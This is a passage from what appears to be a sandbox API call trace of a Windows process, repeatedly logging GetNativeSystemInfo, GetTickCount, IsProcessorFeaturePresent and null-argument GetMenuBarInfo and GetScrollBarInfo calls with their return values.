wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.259] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.259] GetTickCount () returned 0x19f2b [0043.259] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.259] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.259] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.259] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.259] GetTickCount () returned 0x19f2b [0043.259] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.259] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.259] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.259] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.259] GetTickCount () returned 0x19f2b [0043.259] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.259] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.259] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.259] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.259] GetTickCount () returned 0x19f2b [0043.259] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.260] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.260] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.260] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.260] GetTickCount () returned 0x19f2b [0043.260] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.260] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.260] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.260] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.260] GetTickCount () returned 0x19f2b [0043.260] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.260] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.260] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.260] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.260] GetTickCount () returned 0x19f2b [0043.260] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.260] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.260] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.260] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.260] GetTickCount () returned 0x19f2b [0043.260] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.260] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.260] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.260] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.260] GetTickCount () returned 0x19f2b [0043.260] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.261] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.261] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.261] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.261] GetTickCount () returned 0x19f2b [0043.261] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.261] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.261] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.261] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.261] GetTickCount () returned 0x19f2b [0043.261] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.261] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.261] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.261] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.261] GetTickCount () returned 0x19f2b [0043.261] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.261] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.261] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.261] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.261] GetTickCount () returned 0x19f2b [0043.261] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.261] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.261] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.261] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.261] GetTickCount () returned 0x19f2b [0043.261] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.261] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.262] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.262] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.262] GetTickCount () returned 0x19f2b [0043.262] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.262] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.262] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.262] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.262] GetTickCount () returned 0x19f2b [0043.262] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.262] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.262] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.262] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.262] GetTickCount () returned 0x19f2b [0043.262] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.262] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.262] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.262] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.262] GetTickCount () returned 0x19f2b [0043.262] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.262] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.262] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.262] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.262] GetTickCount () returned 0x19f2b [0043.262] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.263] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.263] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.263] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.263] GetTickCount () returned 0x19f2b [0043.263] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.263] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.263] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.263] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.263] GetTickCount () returned 0x19f3b [0043.263] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.263] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.263] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.263] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.263] GetTickCount () returned 0x19f3b [0043.263] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.263] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.263] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.263] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.264] GetTickCount () returned 0x19f3b [0043.264] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.264] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.264] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.264] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.264] GetTickCount () returned 0x19f3b [0043.264] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.264] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.264] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.264] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.264] GetTickCount () returned 0x19f3b [0043.264] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.264] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.264] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.264] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.264] GetTickCount () returned 0x19f3b [0043.264] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.264] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.264] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.264] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.264] GetTickCount () returned 0x19f3b [0043.264] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.264] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.264] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.265] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.265] GetTickCount () returned 0x19f3b [0043.265] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.265] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.265] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.265] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.265] GetTickCount () returned 0x19f3b [0043.265] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.265] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.265] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.265] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.265] GetTickCount () returned 0x19f3b [0043.265] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.265] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.265] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.265] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.265] GetTickCount () returned 0x19f3b [0043.265] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.265] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.265] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.265] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.265] GetTickCount () returned 0x19f3b [0043.265] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.265] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.265] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.266] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.266] GetTickCount () returned 0x19f3b [0043.266] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.266] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.266] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.266] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.266] GetTickCount () returned 0x19f3b [0043.266] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.266] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.266] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.266] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.266] GetTickCount () returned 0x19f3b [0043.266] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.266] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.266] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.266] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.266] GetTickCount () returned 0x19f3b [0043.266] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.266] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.266] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, 